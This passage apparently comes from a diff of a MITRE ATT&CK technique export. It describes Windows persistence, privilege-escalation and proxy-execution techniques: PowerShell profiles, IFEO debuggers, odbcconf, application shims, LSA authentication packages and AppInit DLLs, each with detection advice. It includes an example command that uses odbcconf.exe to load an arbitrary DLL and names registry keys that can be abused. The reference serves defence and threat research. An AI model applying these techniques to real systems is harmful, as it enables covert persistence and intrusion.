'https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6'}, {'source_name': 'ESET Turla PowerShell May 2019', 'description': 'Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.', 'url': 'https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/'}, {'source_name': 'Wits End and Shady PowerShell Profiles', 'description': 'DeRyke, A.. (2019, June 7). Lab Notes: Persistence and Privilege Elevation using the Powershell Profile. Retrieved July 8, 2019.', 'url': 'https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html'}, {'source_name': 'Malware Archaeology PowerShell Cheat Sheet', 'description': 'Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.', 'url': 'http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf'}]",1.0,attack-pattern,attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T15:11:02.758Z,2020-03-24T21:31:31.082Z,PowerShell Profile,"Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (profile.ps1) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments. [PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program. For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) Adversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the -NoProfile flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) -An adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)",attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3,attack-pattern,"['privilege-escalation', 'persistence']",2020-03-24T21:31:31.082Z,2020-01-24T15:11:02.758Z,"Locations where profile.ps1 can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet) Example profile locations include: +An adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)","['privilege-escalation', 'persistence']",https://attack.mitre.org/techniques/T1546/013,mitre-attack,T1546.013,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Allen DeRyke, ICE']","['Process: Process Creation', 'Command: Command Execution', 'File: File Modification', 'File: File Creation']",,"Locations where profile.ps1 can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet) Example profile locations include: * $PsHome\Profile.ps1 * $PsHome\Microsoft.{HostProgram}_profile.ps1 * $Home\My Documents\PowerShell\Profile.ps1 * $Home\My Documents\PowerShell\Microsoft.{HostProgram}_profile.ps1 -Monitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs.","['Process: Process Creation', 'Command: Command Execution', 'File: File Modification', 'File: File Creation']","['Allen DeRyke, ICE']",,"['User', 'Administrator']",['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1546.012', 'url': 'https://attack.mitre.org/techniques/T1546/012'}, {'url': 'https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/', 'description': 'Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). Retrieved December 18, 2017.', 'source_name': 'Microsoft Dev Blog IFEO Mar 2010'}, {'url': 'https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview', 'description': 'Microsoft. (2017, May 23). GFlags Overview. Retrieved December 18, 2017.', 'source_name': 'Microsoft GFlags Mar 2017'}, {'url': 'https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit', 'description': 'Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent Process Exit. Retrieved June 27, 2018.', 'source_name': 'Microsoft Silent Process Exit NOV 2017'}, {'url': 'https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/', 'description': 'Moe, O. (2018, April 10). Persistence using GlobalFlags in Image File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018.', 'source_name': 'Oddvar Moe IFEO APR 2018'}, {'url': 'http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/', 'description': 'Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 12, 2014.', 'source_name': 'Tilbury 2014'}, {'url': 'https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process', 'description': 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', 'source_name': 'Elastic Process Injection July 2017'}, {'url': 'https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml', 'description': 'FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. Retrieved December 18, 2017.', 'source_name': 'FSecure Hupigon'}, {'url': 'https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2', 'description': 'Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December 18, 2017.', 'source_name': 'Symantec Ushedix June 2008'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",1.1,True,https://attack.mitre.org/techniques/T1546/012,mitre-attack,T1546.012,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Image File Execution Options Injection,"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., C:\dbg\ntsd.exe -g notepad.exe). (Citation: Microsoft Dev Blog IFEO Mar 2010) +Monitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs.",True,"['User', 'Administrator']",['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1546/012', 'external_id': 'T1546.012'}, {'source_name': 'Microsoft Dev Blog IFEO Mar 2010', 'description': 'Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). Retrieved December 18, 2017.', 'url': 'https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/'}, {'source_name': 'Microsoft GFlags Mar 2017', 'description': 'Microsoft. (2017, May 23). GFlags Overview. Retrieved December 18, 2017.', 'url': 'https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview'}, {'source_name': 'Microsoft Silent Process Exit NOV 2017', 'description': 'Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent Process Exit. Retrieved June 27, 2018.', 'url': 'https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit'}, {'source_name': 'Oddvar Moe IFEO APR 2018', 'description': 'Moe, O. (2018, April 10). Persistence using GlobalFlags in Image File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018.', 'url': 'https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/'}, {'source_name': 'Tilbury 2014', 'description': 'Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 12, 2014.', 'url': 'http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/'}, {'source_name': 'Elastic Process Injection July 2017', 'description': 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', 'url': 'https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process'}, {'source_name': 'FSecure Hupigon', 'description': 'FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. Retrieved December 18, 2017.', 'url': 'https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml'}, {'source_name': 'Symantec Ushedix June 2008', 'description': 'Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December 18, 2017.', 'url': 'https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2'}]",1.1,attack-pattern,attack-pattern--6d4a7fb3-5a24-42be-ae61-6728a2b581f6,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T15:05:58.384Z,2020-11-10T18:29:31.112Z,Image File Execution Options Injection,"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., C:\dbg\ntsd.exe -g notepad.exe). (Citation: Microsoft Dev Blog IFEO Mar 2010) IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\SOFTWARE{\Wow6432Node}\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ where <executable> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010) @@ -2048,14 +2259,14 @@ Similar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/00 Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation. -Malware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)",attack-pattern--6d4a7fb3-5a24-42be-ae61-6728a2b581f6,attack-pattern,"['privilege-escalation', 'persistence']",2020-11-10T18:29:31.112Z,2020-01-24T15:05:58.384Z,"Monitor for abnormal usage of the GFlags tool as well as common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010) +Malware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)","['privilege-escalation', 'persistence']",https://attack.mitre.org/techniques/T1546/012,mitre-attack,T1546.012,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Oddvar Moe, @oddvarmoe']","['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution']",,"Monitor for abnormal usage of the GFlags tool as well as common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010) -Monitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)","['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution']","['Oddvar Moe, @oddvarmoe']",,"['Administrator', 'SYSTEM']",['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1218.008', 'url': 'https://attack.mitre.org/techniques/T1218/008'}, {'source_name': 'Microsoft odbcconf.exe', 'url': 'https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-2017', 'description': 'Microsoft. (2017, January 18). ODBCCONF.EXE. Retrieved March 7, 2019.'}, {'source_name': 'LOLBAS Odbcconf', 'url': 'https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/', 'description': 'LOLBAS. (n.d.). Odbcconf.exe. Retrieved March 7, 2019.'}, {'source_name': 'TrendMicro Squiblydoo Aug 2017', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses/', 'description': 'Bermejo, L., Giagone, R., Wu, R., and Yarochkin, F. (2017, August 7). Backdoor-carrying Emails Set Sights on Russian-speaking Businesses. Retrieved March 7, 2019.'}, {'source_name': 'TrendMicro Cobalt Group Nov 2017', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/', 'description': 'Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1218/008,mitre-attack,T1218.008,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Odbcconf,"Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) Odbcconf.exe is digitally signed by Microsoft. +Monitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)",True,"['Administrator', 'SYSTEM']",['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1218/008', 'external_id': 'T1218.008'}, {'source_name': 'Microsoft odbcconf.exe', 'description': 'Microsoft. (2017, January 18). ODBCCONF.EXE. Retrieved March 7, 2019.', 'url': 'https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-2017'}, {'source_name': 'LOLBAS Odbcconf', 'description': 'LOLBAS. (n.d.). Odbcconf.exe. Retrieved March 7, 2019.', 'url': 'https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/'}, {'source_name': 'TrendMicro Squiblydoo Aug 2017', 'description': 'Bermejo, L., Giagone, R., Wu, R., and Yarochkin, F. (2017, August 7). Backdoor-carrying Emails Set Sights on Russian-speaking Businesses. Retrieved March 7, 2019.', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses/'}, {'source_name': 'TrendMicro Cobalt Group Nov 2017', 'description': 'Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/'}]",1.0,attack-pattern,attack-pattern--6e3bd510-6b33-41a4-af80-2d80f3ee0071,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T15:01:32.917Z,2020-06-20T22:39:00.717Z,Odbcconf,"Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) Odbcconf.exe is digitally signed by Microsoft. Adversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a REGSVR flag that can be misused to execute DLLs (ex: odbcconf.exe /S /A {REGSVR ""C:\Users\Public\file.dll""}). (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017) -",attack-pattern--6e3bd510-6b33-41a4-af80-2d80f3ee0071,attack-pattern,['defense-evasion'],2020-06-20T22:39:00.717Z,2020-01-24T15:01:32.917Z,Use process monitoring to monitor the execution and arguments of odbcconf.exe. Compare recent invocations of odbcconf.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of odbcconf.exe may also be useful in determining the origin and purpose of the DLL being loaded.,"['Process: Process Creation', 'Module: Module Load', 'Command: Command Execution']",,"['Digital Certificate Validation', 'Application control']",['User'],['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1546.011', 'url': 'https://attack.mitre.org/techniques/T1546/011'}, {'url': 'https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process', 'description': 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', 'source_name': 'Elastic Process Injection July 2017'}, {'source_name': 'FireEye Application Shimming', 'url': 'http://files.brucon.org/2015/Tomczak_and_Ballenthin_Shims_for_the_Win.pdf', 'description': 'Ballenthin, W., Tomczak, J.. (2015). The Real Shim Shary. Retrieved May 4, 2020.'}, {'url': 'https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf', 'description': 'Pierce, Sean. (2015, November). Defending Against Malicious Application Compatibility Shims. Retrieved June 22, 2017.', 'source_name': 'Black Hat 2015 App Shim'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",1.0,True,https://attack.mitre.org/techniques/T1546/011,mitre-attack,T1546.011,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Application Shimming,"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017) +",['defense-evasion'],https://attack.mitre.org/techniques/T1218/008,mitre-attack,T1218.008,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Module: Module Load', 'Command: Command Execution']","['Digital Certificate Validation', 'Application control']",Use process monitoring to monitor the execution and arguments of odbcconf.exe. Compare recent invocations of odbcconf.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of odbcconf.exe may also be useful in determining the origin and purpose of the DLL being loaded.,True,['User'],['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1546/011', 'external_id': 'T1546.011'}, {'source_name': 'Elastic Process Injection July 2017', 'description': 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', 'url': 'https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process'}, {'source_name': 'FireEye Application Shimming', 'description': 'Ballenthin, W., Tomczak, J.. (2015). The Real Shim Shary. Retrieved May 4, 2020.', 'url': 'http://files.brucon.org/2015/Tomczak_and_Ballenthin_Shims_for_the_Win.pdf'}, {'source_name': 'Black Hat 2015 App Shim', 'description': 'Pierce, Sean. (2015, November). Defending Against Malicious Application Compatibility Shims. Retrieved June 22, 2017.', 'url': 'https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf'}]",1.0,attack-pattern,attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T14:56:24.231Z,2020-11-10T18:29:31.094Z,Application Shimming,"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS. @@ -2071,7 +2282,7 @@ Custom databases are stored in: To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). -Utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs.",attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83,attack-pattern,"['privilege-escalation', 'persistence']",2020-11-10T18:29:31.094Z,2020-01-24T14:56:24.231Z,"There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim): +Utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs.","['privilege-escalation', 'persistence']",https://attack.mitre.org/techniques/T1546/011,mitre-attack,T1546.011,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'Module: Module Load', 'File: File Modification']",,"There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim): * Shim-Process-Scanner - checks memory of every running process for any shim flags * Shim-Detector-Lite - detects installation of custom shim databases @@ -2079,30 +2290,30 @@ Utilizing these shims may allow an adversary to perform several malicious acts s * ShimScanner - forensic tool to find active shims in memory * ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot) -Monitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.","['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'Module: Module Load', 'File: File Modification']",,,['Administrator'],['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1547.002', 'url': 'https://attack.mitre.org/techniques/T1547/002'}, {'url': 'https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx', 'description': 'Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017.', 'source_name': 'MSDN Authentication Packages'}, {'url': 'http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html', 'description': 'Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.', 'source_name': 'Graeber 2014'}, {'url': 'https://technet.microsoft.com/en-us/library/dn408187.aspx', 'description': 'Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.', 'source_name': 'Microsoft Configure LSA'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.0,True,https://attack.mitre.org/techniques/T1547/002,mitre-attack,T1547.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Authentication Package,"Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages) +Monitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.",True,['Administrator'],['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1547/002', 'external_id': 'T1547.002'}, {'source_name': 'MSDN Authentication Packages', 'description': 'Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017.', 'url': 'https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx'}, {'source_name': 'Graeber 2014', 'description': 'Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.', 'url': 'http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html'}, {'source_name': 'Microsoft Configure LSA', 'description': 'Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.', 'url': 'https://technet.microsoft.com/en-us/library/dn408187.aspx'}]",1.0,attack-pattern,attack-pattern--b8cfed42-6a8a-4989-ad72-541af74475ec,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T14:54:42.757Z,2020-03-25T15:11:25.821Z,Authentication Package,"Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages) -Adversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ with the key value of ""Authentication Packages""=<target binary>. The binary will then be executed by the system when the authentication packages are loaded.",attack-pattern--b8cfed42-6a8a-4989-ad72-541af74475ec,attack-pattern,"['persistence', 'privilege-escalation']",2020-03-25T15:11:25.821Z,2020-01-24T14:54:42.757Z,Monitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA),"['Windows Registry: Windows Registry Key Modification', 'Module: Module Load', 'Command: Command Execution']",,,['Administrator'],['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1546.010', 'url': 'https://attack.mitre.org/techniques/T1546/010'}, {'url': 'https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process', 'description': 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', 'source_name': 'Elastic Process Injection July 2017'}, {'url': 'https://support.microsoft.com/en-us/kb/197571', 'description': 'Microsoft. (2006, October). Working with the AppInit_DLLs registry value. Retrieved July 15, 2015.', 'source_name': 'AppInit Registry'}, {'url': 'https://msdn.microsoft.com/en-us/library/dn280412', 'description': 'Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July 15, 2015.', 'source_name': 'AppInit Secure Boot'}, {'url': 'https://technet.microsoft.com/en-us/sysinternals/bb963902', 'description': 'Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', 'source_name': 'TechNet Autoruns'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",1.0,True,https://attack.mitre.org/techniques/T1546/010,mitre-attack,T1546.010,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,AppInit DLLs,"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows or HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017) +Adversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ with the key value of ""Authentication Packages""=<target binary>. The binary will then be executed by the system when the authentication packages are loaded.","['persistence', 'privilege-escalation']",https://attack.mitre.org/techniques/T1547/002,mitre-attack,T1547.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Windows Registry: Windows Registry Key Modification', 'Module: Module Load', 'Command: Command Execution']",,Monitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA),True,['Administrator'],['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 